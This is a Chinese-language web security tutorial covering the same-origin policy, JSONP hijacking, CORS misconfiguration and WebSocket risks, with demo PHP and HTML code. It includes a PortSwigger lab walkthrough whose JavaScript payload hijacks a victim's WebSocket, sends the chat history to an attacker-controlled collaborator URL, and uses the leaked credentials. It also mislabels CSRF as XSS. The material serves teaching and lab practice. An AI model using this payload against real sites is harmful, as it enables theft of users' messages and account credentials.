请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。由于种种原因,猫哥的秋刀鱼回忆录公众号往后均不发表原创文章,欲转载随附出处即可且无需告会。该文章学习并转载修正自农夫安全同源策略篇:http://book.fsec.io
今天真的是身心疲惫,在读完TQ老大这一章的笔记后去portswigger
简单看了看,总感觉好累啊,但是一天什么又没干,太容易被他人的情绪所左右了,活的里外不是人。
写毕补充于 1.10 下午18:53
在写这篇文章开始,我其实前言这一块儿憋不出什么狗屁的,我在阅读了一点老外的研究文章,发现他们还是对浏览器安全是情有独钟的,我研究的不算很是深入,但起码我知道浏览器安全的的确确也是一个研究的课题和值得深入的地方,所以想写点什么,我们引入一些东西,方便大家理解。众所周知在浏览器中,保证我们访问数据安全的基础就是同源策略,这个同源策略是由Netscape提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。实际上,这种策略只是一个规范,并不是说强制要求。各大厂商的浏览器只是针对同源策略的一种实现方式。它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。打个比方:如果Web没有同源策略,当你登录了先知社区的账号并且打开另一个站点时,这个站点上的JavaScript就可以跨域读取你的先知社区的账号数据信息,这样整个Web就无隐私可言了,这是不被允许的。
我们再可以设想个场景:
在学校中有个班级,班级开放了一个窗口给家长,学生的家长可以通过窗口询问自己孩子的相关信息。班级里面的每个学生都是互不相关、互不影响的单一个体,每个学生和家长都是属于同一家庭,当同一家庭里面的家长来问该家庭的孩子的信息时候,窗口就会给出相应的信息。要是不是同一家庭的家长来问其他孩子的信息,窗口如果不加验证就直接回答,那么孩子的安全就无法保证了。所以只有同一家庭家长和孩子才可以互传信息,这样做就保证了信息传递的安全性。下面我们假设:这个窗口我们想象成我们的浏览器窗口,里面的学生和家长就是一个个单独的网站,而每一个家庭就是同域,这样只有同一个域下的单独的网站之间才能互相传递信息,这样才能保证数据上的安全性,这就是简单的同源策略的作用。这篇文章更像是在科普,我相信在Freebuf中一定有比这更加详细的文章值得大家去学习,我们今天探究的实际上就是个简单的问题:我们的浏览器安全吗?会有相关的漏洞影响着浏览器吗?
我们带着关注和质疑的眼光与学习某一件事,往往带来的意义和结果泛泛深远,当学习知识分享知识是为了流量,热度,名利。很难在某些地方真正的超越外国佬,摸着石头过河不假,关键在一代一代中对传统文化带来的方方面面进行提纯萃取并且改变观念是很难的,希望以微薄之力,分享语言的魅力附带着相关安全知识,安全不能没有人性,不是设备在安全,而是人在安全,纯粹的,而不是和人性糅杂的,开源的,进步的。
写毕前言于 1.10 凌晨1:25
我们在前面举了几个例子,但并不能让我们深刻的去认知同源策略的意义。同源策略是指在Web浏览器中,允许某个网页脚本去访问另一个网页的数据,但前提是这两个网页必须有相同的URI
、主机名
和端口号
,一旦两个网站都满足上述条件,那这两个网站就被认定为具有相同来源。此策略可以防止某个网页上的恶意脚本通过该页面的文档对象模型去访问另一网页上的敏感数据。同源策略对于Web应用程序具有非常特殊且重大的意义,因为Web应用程序广泛的依赖于cookie来维持用户会话,所以必须将不相关的网站之间严格分隔,以防止丢失数据泄露。我们值得注意的是同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造 XSS 就是利用同源策略不适用于HTML标签的缺陷而进行攻击的。
我们可以详细的看这个表格中的信息,去理解同源策略在web浏览器中的一些应用:
URL | 结果 | 原因 |
---|---|---|
http://baidu.com/fuck/other.html | 同源 | 只有路径不同 |
http://baidu.com/shirt/inn/another.html | 同源 | 只有路径不同 |
https://baidu.com/1.html | 失败 | 协议不同 |
http://baidu.com:81/dir/etc.html | 失败 | 端口不同 |
http://news.baidu.com/dir/other.html | 失败 | 主机不同 |
我们在实际的应用中,肯定是要通过跨域获取资源的。而在跨域的过程中呢,就衍生出来了不同的技术手段。比如JSONP 就是为了跨域获取资源而产生的一种非官方的技术手段(官方的有 CORS 和 postMessage),它利用的是 script 标签的 src 属性不受同源策略影响的特性。看到这里大家会很疑惑,这跟劫持又有什么关系呢?假如一个网站B对网站A的JSONP请求没有进行严格的安全检查就直接返回数据,则网站B便存在JSONP 漏洞,那么网站A就可以利用JSONP漏洞能够获取用户在网站B上的数据。我画一个草图来帮大家加深一下劫持原理的理解。
编写一个index.php
<?php
header('Content-type: application/json');
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:GET');
header('Access-Control-Max-Age:60');
header('Access-Control-Allow-Headers:x-requested with,content-type');
header('Content-Type:application/json;charset=utf-8');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);
echo json_encode($arr);
?>
当我们正常访问此页面的内容时,可以看到如下的页面内容:
随后在同一目录下编辑一个1.html文件
<!DOCTYPE html>
<html>
<head>
<title>jsonp</title>
</head>
<body>
<script type="text/javascript"
src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>
<script type="text/javascript">
$.getJSON("http://192.168.31.230/index.php?jsoncallback=1", function(jsonp){
alert(jsonp.b);
});
</script>
</body>
</html>
通过访问测试页面发现可以获取到敏感参数
复现成功的前提是需要具备跨域且请求无token值,在访问网站的时候检测浏览器发出的所有请求。如果发现有callback等关键字段,则将其记录下来并继续访问,检查请求返回的数据。返回数据中存在uid、username等关键字,那么就判定其为疑似的jsonp劫持漏洞,并向服务器发送疑似存在jsonp劫持漏洞的链接地址。这个需要钓鱼利用,危险程度较低,为此用在蜜罐的场景更加的合适。
CORS是一种把同源策略放宽的机制,它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了 AJAX 只能同源使用的限制,以使不同的网站可以跨域获取数据。
CORS 定义了两种跨域请求:简单请求 和 非简单请求。
当发送一个跨域请求的时候,浏览器会首先检查这个请求,如果它是简单跨域请求,浏览器就会立刻发送这个请求。如果它是非简单跨域请求,这时候浏览器不会马上发送这个请求,而是有一个跟服务器预检验证的过程。
CORS 运行机制:在浏览器进行请求时,自动在请求头中添加 Origin 字段,服务端通过验证 Origin 字段来判断请求是否被允许,从而实现浏览器进行跨源访问
CORS 漏洞:浏览器自动在 HTTP 请求头加上 Origin 字段,服务器通过判断 Origin 字段的值来判断请求是否可以读取本站资源。你可以在portswigger上看到更多关于他的介绍:https://portswigger.net/web-security/cors
字段解释:
本地index.php代码改成如下
访问后如图
然后我们把1.html中改成如下攻击代码
代码的意思是通过XMLHttpRequest去访问URL地址,然后将获取到的内容alert出来。如下图:
许多现代网站使用 CORS 来允许从子域和受信任的第三方进行访问。但是他们的 CORS 实施可能包含错误或过于宽松以确保一切正常,这可能会导致可利用的漏洞。即使是正确配置的 CORS 也会在两个来源之间建立信任关系。如果网站信任易受跨站点脚本 ( XSS ) 攻击的来源,则攻击者可以利用 XSS 注入一些使用 CORS 的 JavaScript 从信任易受攻击的应用程序的站点检索敏感信息。
WebSocket 广泛用于现代 Web 应用程序中。它们通过 HTTP 启动并提供双向异步通信的长期连接。WebSocket 用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规 HTTP 出现的任何 Web 安全漏洞也可能与 WebSockets 通信有关。
WebSocket协议是OSI模型应用层的一种协议,它能够在客户端(浏览器)和web服务器之间以全双工(一种信息可以在两个方向同时循环的通信通道)进行通信。简而言之,它允许创建实时web应用程序,比如即时消息聊天。它克服了半双工通信所造成的延迟,即一次只在一个方向上进行通信,这是迄今为止用于此类应用程序的解决方案的特点。实际上,使用HTTP协议,客户机启动请求并等待响应,这称为事务。每个请求/响应启动一个不同的事务,而WebSocket启动一个具有长生命周期的事务(多个请求/响应)。此外,即使事先没有发出请求,服务器也可以发送数据。
下图说明了WebSocket工作原理:
客户端通知服务器它要启动WebSocket连接:
GET /chat HTTP/1.1
Host: www.websocket.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://www.websocket.com
Sec-WebSocket-Key: F3K8tSSU8iTVlhenxKqtbw==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: X-Authorization=8jvbphlmk3DG8iXL0F4vraWBA
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
如果服务器接受连接,它将按以下方式回答:
HTTP/1.1 101 Switching Protocols
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Accept: ILZpbBQBard/ixWRPPI6UOlh8hY=
虽然WebSockets对于创建全双工通信信道很有用(在现代应用程序中,服务器可能需要在客户端不发出特殊请求的情况下向客户端发送数据,例如在即时消息传递的情况下),但是这种技术没有提供任何特定的安全优势。因此,我们发现了HTTP协议的常见漏洞,有时还具有一些特殊性。以下是针对WebSocket的潜在漏洞和攻击的非详尽列表:
身份验证控制
WebSocket协议没有用于身份验证的本机机制,因此在开发过程中,必须通过cookies、JWT或HTTP(Basic/Digest)身份验证来实现一个干净的解决方案。在渗透测试期间,需要系统地检查是否确实存在身份验证系统,以及是否正确地实现了该系统(无需身份验证即可访问功能)。
授权和授权控制
与身份验证一样,WebSocket协议中没有管理授权的系统(用户只能访问他们应该访问的数据和服务)。这使攻击者能够垂直提升其权限,或以与攻击者相同的权限级别访问用户的数据。在测试期间,将对访问控制进行详细测试,以尝试获得权限提升。
与用户风险相关的输入
用户通过WebSockets输入的数据是攻击的主要原因 – XSS、SQL注入、代码注入等。在使用之前,必须根据上下文使用最合适的方法对所有输入进行清理。
嗅探的风险
通过WebSocket协议的数据传输是以明文方式完成的,就像HTTP一样。因此,可以通过中间人攻击恢复这些数据。为了避免信息泄漏,必须实现WebSocket安全(wss)协议。请记住,正如HTTPS一样,wss并不意味着web应用程序是安全的,它只是通过TLS加密传输数据。
跨站点Websocket劫持(CSWH)
跨站点WebSocket劫持是一种类似于CSRF的攻击跨站点请求伪造. 当服务器仅依赖会话身份验证数据(cookies)来执行经过身份验证的操作时,这两种攻击都可能发生。
对于CSRF,攻击者将请求隐藏在链接或其他元素中,这些元素将在其(经过身份验证的)受害者的屏幕上可见。攻击者会提示受害者单击它来执行隐藏请求所请求的操作。因此,攻击者可以使受害者在不知情的情况下做一些有害的事情。缺点是攻击者无法看到服务器对请求的响应(由于源站策略),这一缺点在WebSockets中已不复存在,因为它不实现源站策略。这使攻击者能够使用受害者的凭据创建全双工连接。
实际上,当WebSocket握手易受CSRF攻击时,跨站点WebSocket劫持攻击是可能的。实际上,双方(客户机/服务器)之间的通信通道是根据打开请求的来源创建的。因此,如果协议更改请求仅基于cookies,则攻击者可以诱捕受害者,在攻击者的服务器上使用其会话发起请求。一旦被困住,攻击者可以在受害者不知情的情况下通过WebSockets与服务器通信。与经典的CSRF一样,攻击者因此可以代替用户执行操作,但也可以读取通过WebSockets发送的服务器消息。为了解决此漏洞,有必要为每个会话添加一个唯一的令牌,该令牌不能被猜测为握手请求的参数.
实验地址:https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab
该在线商店具有使用 WebSockets 实现的实时聊天功能。为了解决实验室问题,使用漏洞利用服务器托管一个 HTML/JavaScript 负载,该负载使用 跨站点 WebSocket 劫持攻击 来窃取受害者的聊天历史记录,然后使用它获得对他们帐户的访问权限。
单击“实时聊天”并发送聊天消息。
重新加载页面。
在 Burp Proxy 的 WebSockets 历史选项卡中,观察“READY”命令从服务器检索过去的聊天消息。
在 Burp Proxy 的 HTTP history 选项卡中,找到 WebSocket 握手请求。观察请求没有 CSRF令牌。
右键单击握手请求并选择复制 URL。
在浏览器中,转到漏洞利用服务器并将以下模板粘贴到“正文”部分:
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
代替 your-websocket-url
使用来自 WebSocket 握手的 URL ( YOUR-LAB-ID.web-security-academy.net/chat
). 确保您更改了协议 https://
到 wss://
. 代替 your-collaborator-url
带有由 Burp Collaborator 客户端生成的有效载荷。
单击“查看漏洞”。
在“协作者”选项卡中轮询交互。 验证攻击是否已成功检索您的聊天记录并通过 Burp Collaborator 将其泄露。 对于聊天中的每条消息,Burp Collaborator 都会收到一个 HTTP 请求。 请求正文包含 JSON 格式的聊天消息的完整内容。 请注意,这些消息可能不会以正确的顺序接收。
返回漏洞利用服务器并将漏洞利用传递给受害者。
再次轮询“协作者”选项卡中的交互。 观察您收到了更多包含受害者聊天记录的 HTTP 交互。 检查消息并注意其中一条消息包含受害者的用户名和密码。
使用泄露的凭据登录受害用户的帐户。
视频讲解:https://youtu.be/3__T1JngGIQ
还是要在服务器端和客户端安全地去处理数据,以防止基于输入的漏洞,例如 SQL 注入和 跨站点脚本 。最好的方式就是将通过 WebSocket 接收的数据在两个方向上都视为不受信任,保护 WebSocket 握手消息免受 CSRF 攻击,避免跨站 WebSockets 劫持漏洞,或对 WebSockets 端点的 URL 进行硬编码,当然不要将用户可控制的数据合并到该 URL 中。还有CORS 漏洞主要是由于配置错误引起的。因此预防是一个配置问题。比如以下建议:
今天就到这儿吧,算是浅浅的水了一篇,也的确收获了不少知识,祝君共勉。